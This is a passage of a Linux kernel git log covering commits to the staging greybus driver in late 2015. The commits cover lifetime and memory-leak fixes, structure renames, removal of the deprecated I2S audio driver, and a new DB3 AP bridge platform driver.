drivers/staging/greybus/battery.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 0d1d6ee209e1129c584c2b00a48a33ff1fb7312c Author: Johan Hovold Date: Wed Nov 11 10:07:02 2015 +0100 greybus: loopback: fix layer violation A bundle (protocol) driver has no business creating sysfs entries for an ancestor device. Move the sysfs entries to the bundle device for now. Signed-off-by: Johan Hovold Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit c9e9de26f912bc0e5bca6a5168e7d5d427d2b2ee Author: Greg Kroah-Hartman Date: Wed Nov 4 20:46:14 2015 -0800 greybus: hid: hid should not be part of the bridged-phy driver. HID is a stand-alone greybus protocol, not part of the bridged-phy protocols, so make it a stand-alone kernel module. Note, some hard-coded android init script might need to be changed to load the gb-hid.ko kernel module now. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Viresh Kumar drivers/staging/greybus/Makefile | 3 ++- drivers/staging/greybus/gpbridge.c | 7 ------- drivers/staging/greybus/hid.c | 4 +++- drivers/staging/greybus/protocol.h | 3 --- 4 files changed, 5 insertions(+), 12 deletions(-) commit a52028626accc2ae26c9ce03ec7bba68146b8456 Author: Johan Hovold Date: Wed Nov 4 18:55:23 2015 +0100 greybus: es2: clean up es2 destructor Now that the host-device is deregistered separately from deallocation, we can simplify the cport_to_ep-array deallocation. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit c1700479845bc36cb48719b2ae341d4df89a73f6 Author: Johan Hovold Date: Wed Nov 4 18:55:22 2015 +0100 greybus: hd: fix host-device life time issues Fix host-device life time issues by separating host-device allocation from registration. This is needed both to make sure that all host-device resources are available before registering the device and to prevent such resources from being deallocated while the device is still in use during device removal. This specifically fixes the following warnings during es1 and es2 disconnect: usb 1-1.1: No free CPort OUT urbs, having to dynamically allocate one! Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 9 ++++++++- drivers/staging/greybus/es2.c | 9 ++++++++- drivers/staging/greybus/hd.c | 24 ++++++++++++++++-------- drivers/staging/greybus/hd.h | 4 +++- 4 files changed, 35 insertions(+), 11 deletions(-) commit b4bd3617ed069a0aae701ed451cb6ec370fbd45f Author: Johan Hovold Date: Wed Nov 4 18:55:21 2015 +0100 greybus: es1: add more structure to probe error handling Add more structure to probe error handling rather than use the big hammer and call disconnect directly. This is needed to fix some host-device life-time issues. Note that there was never any need to clear the USB interface data as this will be done by driver core. Compile-only tested. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 30 ++++++++++++++++++------------ 1 file changed, 18 insertions(+), 12 deletions(-) commit 57bc17ffc566deade99753febcc264c8326f1860 Author: Johan Hovold Date: Wed Nov 4 18:55:20 2015 +0100 greybus: es2: add more structure to probe error handling Add more structure to probe error handling rather than use the big hammer and call disconnect directly. This is needed to fix some host-device life-time issues. Note that there was never any need to clear the USB interface data as this will be done by driver core. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 30 ++++++++++++++++++------------ 1 file changed, 18 insertions(+), 12 deletions(-) commit fb7a4ea22b6e68b043165ccff9601665c51af59d Author: Johan Hovold Date: Wed Nov 4 18:55:19 2015 +0100 greybus: es1: fix debugfs dentry leak Fix dentry leak due to failure to remove debugfs file. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 1 + 1 file changed, 1 insertion(+) commit 74cd6503e5d4f01146dc18eb28d8fa3976914995 Author: Johan Hovold Date: Wed Nov 4 18:55:18 2015 +0100 greybus: es2: fix debugfs dentry leak Fix dentry leak due to failure to remove debugfs file. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 1 + 1 file changed, 1 insertion(+) commit 715d7a7280697540f9b6a4d82c3c9d1fa208c48d Author: Johan Hovold Date: Wed Nov 4 18:55:17 2015 +0100 greybus: es1: separate stopping and deallocating urbs Separate stopping and deallocating our in-urbs. This will facilitate implementing proper host-device life-time management. Compile-only tested. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit f6624ca77cbb4ce799a0642207fdb20e98d32777 Author: Johan Hovold Date: Wed Nov 4 18:55:16 2015 +0100 greybus: es2: separate stopping and deallocating urbs Separate stopping and deallocating our in-urbs. This will facilitate implementing proper host-device life-time management. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) commit 8dfd3fe56467ceabaac39ea884e0dc882c1832cd Author: Johan Hovold Date: Wed Nov 4 18:55:15 2015 +0100 greybus: es1: separate urb allocation and submission Separate in-urb allocation and submission. This is needed for the driver-model rework. Compile-tested only. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) commit 0ce68ce41779c353be780f635234a446ea30c49d Author: Johan Hovold Date: Wed Nov 4 18:55:14 2015 +0100 greybus: es2: separate urb allocation and submission Refactor in-urb submission, and make sure to separate allocation and submission. Eventually we'll be submitting the urbs at cport enable rather than at probe, and this is also needed for the driver-model rework. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 41 +++++++++++++++++++++++++++++++++++++---- 1 file changed, 37 insertions(+), 4 deletions(-) commit b6d808525aef6703f2bf7662c7ef99f5e7349bb4 Author: Johan Hovold Date: Wed Nov 4 18:55:13 2015 +0100 greybus: es2: fix endpoint requirement check The current es2 implementation only checks for no IN or OUT bulk endpoints, but still assumes there are precisely NUM_BULKS of each. Specifically, urbs could be allocated and initialised to default values, which amounts to bulk urbs being submitted to the control endpoint. We should be able to handle any number of endpoints, but for now let's just require NUM_BULKS of each. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit a51e8551e298841f26ccf02193caf2b69da2434c Author: Johan Hovold Date: Wed Nov 4 18:55:12 2015 +0100 greybus: es2: fix use-after-free at disconnect The interface private data is released as part of host-device removal and must not be accessed afterwards. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 357499df455d30290860a23a33b2eb723f9597ac Author: Mark Greer Date: Wed Nov 4 09:47:22 2015 -0700 greybus: i2s: Remove deprecated I2S Bridged-PHY Protocol The Greybus I2S Bridged-PHY Protocol is deprecated so remove all support for it from the Greybus code. CC: Vaibhav Agarwal Signed-off-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 12 +-- drivers/staging/greybus/greybus_protocols.h | 138 ---------------------------- 2 files changed, 6 insertions(+), 144 deletions(-) commit ddc88eff2b0848e9c95bc4c39b53c52ed7991285 Author: Mark Greer Date: Wed Nov 4 09:47:21 2015 -0700 greybus: audio: Remove I2S Bridged-PHY Protcol based audio driver The Greybus I2S Bridged-PHY Protocol is now deprecated so remove the audio driver that is based on it. CC: Vaibhav Agarwal Signed-off-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 6 +- drivers/staging/greybus/audio-dai.c | 112 -------- drivers/staging/greybus/audio-gb-cmds.c | 188 ------------- drivers/staging/greybus/audio-pcm.c | 308 --------------------- drivers/staging/greybus/audio.c | 470 -------------------------------- drivers/staging/greybus/audio.h | 113 -------- drivers/staging/greybus/gpbridge.c | 7 - drivers/staging/greybus/protocol.h | 3 - 8 files changed, 1 insertion(+), 1206 deletions(-) commit d6e139bc15118ceb9173ee03e3f2db63b57e0f77 Author: Johan Hovold Date: Tue Nov 3 18:03:25 2015 +0100 greybus: hd: use common prefix for exported functions Rename the exported functions using the common gb_-prefix. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 6 +++--- drivers/staging/greybus/es2.c | 6 +++--- drivers/staging/greybus/hd.c | 14 +++++++------- drivers/staging/greybus/hd.h | 10 +++++----- 4 files changed, 18 insertions(+), 18 deletions(-) commit a8cc020f3f8ec684f0c48d30524ae8198b56038b Author: Johan Hovold Date: Tue Nov 3 18:03:24 2015 +0100 greybus: hd: rename host-driver structure Rename host-driver structure to gb_hd_driver to more clearly separate it from the host-device structure. Also remove an outdated description of the struct. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 2 +- drivers/staging/greybus/es2.c | 2 +- drivers/staging/greybus/hd.c | 4 ++-- drivers/staging/greybus/hd.h | 9 +++------ 4 files changed, 7 insertions(+), 10 deletions(-) commit 2537636abae5b81a1de5ad7511a29306f39b2167 Author: Johan Hovold Date: Tue Nov 3 18:03:23 2015 +0100 greybus: hd: rename host-device structure Rename host-device structure gb_host_device to match our other structures. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 18 +++++++++--------- drivers/staging/greybus/connection.h | 6 +++--- drivers/staging/greybus/endo.c | 12 ++++++------ drivers/staging/greybus/endo.h | 6 +++--- drivers/staging/greybus/es1.c | 20 ++++++++++---------- drivers/staging/greybus/es2.c | 24 ++++++++++++------------ drivers/staging/greybus/greybus.h | 2 +- drivers/staging/greybus/greybus_trace.h | 8 ++++---- drivers/staging/greybus/hd.c | 10 +++++----- drivers/staging/greybus/hd.h | 19 +++++++++---------- drivers/staging/greybus/interface.c | 6 +++--- drivers/staging/greybus/interface.h | 10 +++++----- drivers/staging/greybus/module.c | 2 +- drivers/staging/greybus/module.h | 4 ++-- drivers/staging/greybus/operation.c | 14 +++++++------- drivers/staging/greybus/operation.h | 2 +- drivers/staging/greybus/svc.c | 14 +++++++------- drivers/staging/greybus/svc.h | 4 ++-- 18 files changed, 90 insertions(+), 91 deletions(-) commit 7bc6faaca7d829d4e6f5d65909d5068f73b76bda Author: Johan Hovold Date: Tue Nov 3 18:03:22 2015 +0100 greybus: create host-device compilation unit Move everything host-device related to hd.c and hd.h. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 1 + drivers/staging/greybus/core.c | 100 --------------------------------- drivers/staging/greybus/greybus.h | 48 +--------------- drivers/staging/greybus/hd.c | 115 ++++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/hd.h | 61 ++++++++++++++++++++ 5 files changed, 178 insertions(+), 147 deletions(-) commit 04fdd6a51a5b3b448047b83624dbfac85d3daf9a Author: Johan Hovold Date: Tue Nov 3 18:03:21 2015 +0100 greybus: remove obsolete comment Remove obsolete comment about the driver model. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus.h | 10 ---------- 1 file changed, 10 deletions(-) commit 26b7ba66c1d698e7d377f61d310b5cfa1cfcf2a0 Author: Johan Hovold Date: Tue Nov 3 12:11:25 2015 +0100 greybus: endo: fix ida memory leak Fix yet another ida memory leak due to failure to call the destructor. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/endo.c | 1 + 1 file changed, 1 insertion(+) commit fcfc762f17616e9c720214d85b88ed672e767499 Author: Johan Hovold Date: Tue Nov 3 12:11:26 2015 +0100 greybus: connection: kill gb_hd_connections_exit Connections are destroyed as part of interface tear down. If we fail to do that properly it's a bug that should be fixed rather than papered over by a fall-back clean up function. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 8 -------- drivers/staging/greybus/connection.h | 1 - drivers/staging/greybus/core.c | 6 ------ 3 files changed, 15 deletions(-) commit 5245a90564b0c3f781e0c60cdbeb3b3b34c970df Author: Johan Hovold Date: Tue Nov 3 12:11:27 2015 +0100 greybus: connection: fix potential null-deref when binding protocol We can have connections without bundles so we must not use the bundle device for error messages when failing to look up a protocol. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a6e0363cb06989e9584820d3f5c0faad1cc35eae Author: Johan Hovold Date: Tue Nov 3 12:11:28 2015 +0100 greybus: connection: fix potential null-deref in connection create We allow connections without bundles so we must not use the bundle device for error messages after binding the protocol. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 21dcc9e50339642dfd241fa081a9b2ab6a34221a Author: Johan Hovold Date: Tue Nov 3 12:11:29 2015 +0100 greybus: connection: fix potential null-deref in hd_cport_enable Use parent of host device for error messages as the connections bundle may be NULL. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e6c88bf31e9ef22e3503e0f905cb6fa3c8c53f26 Author: Johan Hovold Date: Tue Nov 3 12:11:30 2015 +0100 greybus: connection: use bundle device for bundle error messages It is safe to use the bundle device for error messages when we know we have a bundle. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 0e30550665cafe61776aa9730f876ade9a02a258 Author: Johan Hovold Date: Tue Nov 3 12:11:31 2015 +0100 greybus: remove unused connection device type The connection device type is no longer used. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus.h | 1 - 1 file changed, 1 deletion(-) commit e96e61686388f92af8283cabe5dad158b5fd1f6e Author: Johan Hovold Date: Tue Nov 3 12:11:32 2015 +0100 greybus: remove unused host-device id Remove unused device_id field from host-device structure. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus.h | 1 - 1 file changed, 1 deletion(-) commit 4d5c446b53655da886822a01b5d004704b564f8d Author: Johan Hovold Date: Mon Nov 2 11:56:57 2015 +0100 greybus: es2: update obsolete bridge-device comments Update obsolete bridge-device comments to better describe our current ES2 endpoint layout. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) commit 41a7fe27d6ee34f9752648805d596de0948a9873 Author: Johan Hovold Date: Mon Nov 2 11:56:59 2015 +0100 greybus: control: remove unused request handler Remove request handler for control protocol that makes no sense as we do not have any incoming control requests defined. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/control.c | 35 ----------------------------------- 1 file changed, 35 deletions(-) commit 53be091214572ffb55e482fe0cd53f2dc37c246a Author: Johan Hovold Date: Mon Nov 2 11:56:58 2015 +0100 greybus: connection: remove unused time-stamp defines Remove unused time-stamp defines, that were left in when the time-stamp fifo was removed. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 4 ---- 1 file changed, 4 deletions(-) commit 8417f5e56c8d67371f1810dfa0d1871f0119e89d Author: Bryan O'Donoghue Date: Thu Oct 29 16:58:29 2015 +0000 greybus: audio-pcm: fix use of variable unitialized Compiling with clang shows that period_elapsed will be used as a branch conditional unitialized whenever snd_dev->transfer_done < runtime->period_size. Since stack can grow up/down as we proceed though the call stack this should be fixed. This patch fixes by explicitly initalizing period_elapsed to zero. Signed-off-by: Bryan O'Donoghue Reviewed-by: Alex Elder Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio-pcm.c | 1 + 1 file changed, 1 insertion(+) commit b350007219f65df8594e62c731e29ff3ad2f4d61 Author: Bryan O'Donoghue Date: Thu Oct 29 16:58:24 2015 +0000 greybus: manifest: fix the placement of arguments to pr_err We're one character out here in the placement of the inputs to pr_err(). Later patches show this up when pushing through checkpatch.pl. This patch fixes by moving the offending variables one character left. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 3be0e17d62d5a9b14d764935b2b2de9c8d6b379a Author: Alex Elder Date: Tue Oct 27 22:18:41 2015 -0500 greybus: es2: don't assume just one AP bridge Previously we had only one AP bridge connected to the AP. We will now have two. Now that the have moved the logging related symbols into the AP device, we can stop assuming there's only on of them. Specifically, rename symbols like "apb1_*" to be just "apb_*", because the "1" is no longer meaningful. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 76 ++++++++++++++++++++++--------------------- 1 file changed, 39 insertions(+), 37 deletions(-) commit cbec7e2919f04d3d1abea1cde93a8052e2e8ef04 Author: Alex Elder Date: Tue Oct 27 22:18:40 2015 -0500 greybus: es2: move logging dentries into es2 struct Finish moving the logging data structures into the es2 AP data structure rather than having it be a single global. This patch moves the two dentries related to logging. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 8995a39d6d030b48633c9a2ed85d3244907acff0 Author: Alex Elder Date: Tue Oct 27 22:18:39 2015 -0500 greybus: es2: move logging fifo into es2 struct Continue moving the logging data structures into the es2 AP data structure rather than having it be a single global. This patch moves the fifo. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) commit 1482b3e1a8ab924cca4dc7e2ac9f40c0e9ff37c9 Author: Alex Elder Date: Tue Oct 27 22:18:38 2015 -0500 greybus: es2: move APB log task into the es2_ap_dev struct If an APB has a logging task it is associated with that APB. Move the task pointer into the es2_ap_dev structure rather than having it be a single global. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 22 +++++++++++++--------- 1 file changed, 13 insertions(+), 9 deletions(-) commit 4b1d82047ebbb108e9961fffd51f8ccd54459221 Author: Alex Elder Date: Tue Oct 27 22:18:37 2015 -0500 greybus: es2: rename es2 data structures I tried this once before and Greg NAK'd it because at that point the es2 code was nearly identical to the es1 code. This is no longer the case, and we need to diverge further, so I think it's time to go down that path. The ap_dev structure changed significantly for ES2 versus ES1 as of this commit: 667f8d3 es2.c: create dedicated struct for cport_in and cport_out Since the structures are no longer the same, they should not have the same name. This patch renames three data structures so the "1" is replaced with a "2", to reflect the Toshiba AP bridge chip revision we are working with. The structures are: es1_ap_dev -> es2_ap_dev es1_cport_in -> es2_cport_in es1_cport_out -> es2_cport_out It changes names of symbols having this type as well. To finish the job, all references "ES1" (in comments and in symbol names) have been switched to use "ES2" instead. The result is a lot of changes, but they amount to a global search and replace of "es1" with "es2" (and "ES1" with "ES2"), and the result has been compile tested. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 246 +++++++++++++++++++++--------------------- 1 file changed, 124 insertions(+), 122 deletions(-) commit 8f0a654f38c8008b7156c6efbb59272ed474930e Author: Greg Kroah-Hartman Date: Thu Oct 22 16:40:41 2015 -0700 greybus: es2: use official USB vendor/device id We now have an officially assigned Google USB device id for the APBridge, so add in support for it in the es2 driver. The old entry can be removed once the firmware has caught up and uses the new number. We should use the version field to determine ES1/ES2/ES3, but that will come later, for now, grab anything with this device id. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 76be20a2f39d3b08bdf9b653419fbd367920e856 Author: Alex Elder Date: Thu Oct 22 13:03:26 2015 -0500 greybus: db3-platform: get rid of redundant gpio tests In apb_ctrl_get_devtree_data(), the value returned by of_get_named_gpio() has a redundant test for a negative return value. GPIO numbers are non-negative, so this test is redundant--testing gpio_is_valid() is sufficient. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/db3-platform.c | 15 +++++---------- 1 file changed, 5 insertions(+), 10 deletions(-) commit ed8fbc2d5611716413c2e31693256c7156692372 Author: Viresh Kumar Date: Thu Oct 22 20:06:57 2015 +0530 greybus: db3-platform: Use dev_info for success messages Used dev_err() by mistake, fix it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/db3-platform.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 863e652e3f0e6fc3794a3cb5fbab1a3a652f349e Author: Alex Elder Date: Thu Oct 22 08:58:17 2015 -0500 greybus: db3-platform: fix some typos Fix misspelled "mandatory," and use "GPIOs" for the plural form (no apostrophe and capitalized) in comments. Signed-off-by: Alex Elder Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/db3-platform.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit d934a88d50f92230e48b944c729021fc39c65d98 Author: Alex Elder Date: Thu Oct 22 08:58:16 2015 -0500 greybus: db3-platform: fix code that fetches reset GPIO The code that fetches the reset GPIO for an AP bridge suffers from an apparent copy/paste error. Fix it. Signed-off-by: Alex Elder Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/db3-platform.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 92cc1d225282592b19a91604cc23a99013d22802 Author: Viresh Kumar Date: Wed Oct 21 15:42:44 2015 +0530 greybus: endo: move greybus_endo_setup() to endo.c It belongs to the endo layer and should be placed in endo.c instead. Do it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 14 -------------- drivers/staging/greybus/endo.c | 14 ++++++++++++++ drivers/staging/greybus/endo.h | 2 ++ drivers/staging/greybus/greybus.h | 2 -- 4 files changed, 16 insertions(+), 16 deletions(-) commit f7d3ad9828eba01ed2f5ccc1a12b8b1362ed02b4 Author: Viresh Kumar Date: Wed Oct 21 15:26:45 2015 +0530 greybus: module: fix double freeing of module structure The module will be released by gb_module_release() once all references for the module are dropped. And so there is no need to free it in the error path specially. Reviewed-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/module.c | 1 - 1 file changed, 1 deletion(-) commit 63e8a14b1f9107ee2b51205385695be43ca40d5e Author: Viresh Kumar Date: Wed Oct 21 15:26:44 2015 +0530 greybus: interface: fix double freeing of interface structure The interface will be released by gb_interface_release() once all references for the interface are dropped. And so there is no need to free it in the error path specially. Reviewed-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 1 - 1 file changed, 1 deletion(-) commit 8d1043a30fc23a3f8a95b972beb694dd948bbe45 Author: Viresh Kumar Date: Wed Oct 21 15:26:43 2015 +0530 greybus: bundle: fix double freeing of bundle structure The bundle will be released by gb_bundle_release() once all references for the bundle are dropped. And so there is no need to free it in the error path specially. Reviewed-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 1 - 1 file changed, 1 deletion(-) commit 3014712fe1dc26640178319e55f3a80ce42a4775 Author: Johan Hovold Date: Wed Oct 21 11:51:43 2015 +0200 greybus: endo: fix device-id allocation During endo registration, a unique device id was allocated but then never used. Instead the default dev_id 0 (due to kzalloc) was used for device-generation and later for id-deallocation. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/endo.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) commit 16cd787d2d54a47b1d8575bb96bff4b0edc7000b Author: Johan Hovold Date: Wed Oct 21 11:51:42 2015 +0200 greybus: endo: fix use-after-free in error path Fix use-after-free in endo-registration error path by moving the id-release to the device release function. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/endo.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit d517f274e9db414ae4d6df5173c3e7f41b9dac66 Author: Vaibhav Hiremath Date: Wed Oct 21 16:50:20 2015 +0530 greybus: platform: Add platform driver for DB3 AP bridge With DB3, we now have AP as a master as far as AP bridges are concerned. SVC will talk only to AP and AP will control bridges; unlike other module interfaces. So AP supposed to manage/control bridges in all power states including power on reset. During power on reset AP should follow below sequence - Sequence (treated as a Cold Boot) Stage-1 ======= AP: - Power On (Power up from PMIC to AP) - AP start booting Since power to AP bridges are controlled through gpio, power is gated to APB1 & 2 No ref_clk to APB available (under SVC's control) - AP configures USB hub to enable HSIC interface to APB - As part of platform driver probe, AP follow below sequence - Set the pinctrl in default state - Hold APBs in reset by pulling down reset pin - Enable power to APB by enabling regulator and switches - De-assert (set 'low') 'boot_ret' signal - AP will assert (set 'high') the wake_detect signal, triggering connect/detect event to the SVC - AP waits for wake pulse from SVC SVC: - Power On (power up from PMIC to SVC) - SVC starts booting - SVC will de-assert reset signal to unipro switch - Switch starts booting - SVC confirms switch boot status using SPI (or something) - SVC waits for 300 msec (ES2 known issue) - SVC waits for detect/connect event from AP Stage-2 ======= SVC: - ON connect/detect event, SVC send back wake pulse (cold boot) to AP over wake_detect pin, if SVC boot is completed. AP: - On wake pulse from SVC (for cold boot), AP de-asserts (set high') reset signal to APB 1 and/or 2 - Bridges starts booting - Eventually Unipro linkup occurs Testing: - Build tested against Helium kernel - Due to unavailability of MSM and DB3 platform, only minimal testing has been done. - Code has been modified for validation on Helium + SDB platform. Mostly dts changes for gpio numbers And debug messages to check gpio values - On Helium + SDB platform, with addition of debug messages validated the sequence. TODO list: - Currently _only_ supports power on sequence (cold boot). Both warm and cold boot support. Cold and Warm boot is differentiated based on pulse width of wake_detect signal >=5 msec = Cold boot else Warm boot - No support for Power management So the "power-down", "power-off", "wake_in" and "wake_out" signals are not explored/implemented. - Support for Work thread repetitive wake signal if no response from peer May required for PM support, as we have delays in the sequences - pinctrl states, specially to make sure we enable right pullup or pulldown when we set wake_detect pin to input - Convert gpio list into an array, and associated xxx-gpio-name property Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 + drivers/staging/greybus/db3-platform.c | 378 +++++++++++++++++++++++++++++++++ 2 files changed, 380 insertions(+) commit b50a24e9471290fae7f7d16be467b3b0937d3d0e Author: Greg Kroah-Hartman Date: Fri Oct 16 16:53:31 2015 -0700 greybus: svc: don't trust any struct devices As the svc code is "odd" in how things are set up at initial connection time, we can't always "know" that we have a valid bundle to use for error messages. So just punt and always use pr_*() calls to ensure that we never incorrectly dereference a pointer. This will get fixed up soon, but for now, let's just live with a bit messier error messages in the log. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Viresh Kumar Reviewed-by: Alex Elder Reviewed-by: Johan Hovold drivers/staging/greybus/svc.c | 110 +++++++++++++++++++----------------------- 1 file changed, 49 insertions(+), 61 deletions(-) commit c69b98d15fff68e83396d800f43508a1dab4130a Author: Greg Kroah-Hartman Date: Fri Oct 16 16:53:46 2015 -0700 greybus: core: remove uevent handling for gb_connection As we are going to be removing the struct device from gb_connection, there is no need to do anything for uevents for them. So just remove the code. It wasn't doing anything anyway, so no functionality is lost here at all. As is_gb_connection() is no longer used, that is also removed in this patch. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Viresh Kumar Reviewed-by: Alex Elder Reviewed-by: Johan Hovold drivers/staging/greybus/core.c | 11 ----------- drivers/staging/greybus/greybus.h | 5 ----- 2 files changed, 16 deletions(-) commit 6ea462a4fc21b523dc139fdb920524f066633a35 Author: Greg Kroah-Hartman Date: Fri Oct 16 16:54:00 2015 -0700 greybus: bundle.h: add a private field to struct gb_bundle The gb_bundle structure needs a private field if we are going to be able to replace the gb_connection device with this one for all use cases. Ideally we could use the private pointer within the struct device, but for now let's just try to mirror how people were using the gb_connection structure to make the patches simpler, and the logic the same. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Viresh Kumar Reviewed-by: Alex Elder Reviewed-by: Johan Hovold drivers/staging/greybus/bundle.h | 1 + 1 file changed, 1 insertion(+) commit 7e4c8d713539b608a11a38102a203a1a8acd345a Author: Greg Kroah-Hartman Date: Fri Oct 16 16:54:18 2015 -0700 greybus: protocol: use the bundle struct device instead of the connector We are removing struct device from the gb_connection structure in the near future. The gb_bundle structure's struct device should be used as a replacement. This patch moves the protocol code to use the bundle pointer instead of the connection pointer when printing out error messages. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Viresh Kumar Reviewed-by: Alex Elder Reviewed-by: Johan Hovold drivers/staging/greybus/protocol.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit 5d9c68da01e80c145bfc5e28ccb27b17d3a016b3 Author: Greg Kroah-Hartman Date: Fri Oct 16 16:55:29 2015 -0700 greybus: greybus_trace: use the bundle struct device instead of the connector We are removing struct device from the gb_connection structure in the near future. The gb_bundle structure's struct device should be used as a replacement. This patch moves the greybus trace code to use the bundle pointer instead of the connection pointer when printing out tracing messages. Signed-off-by: Greg Kroah-Hartman 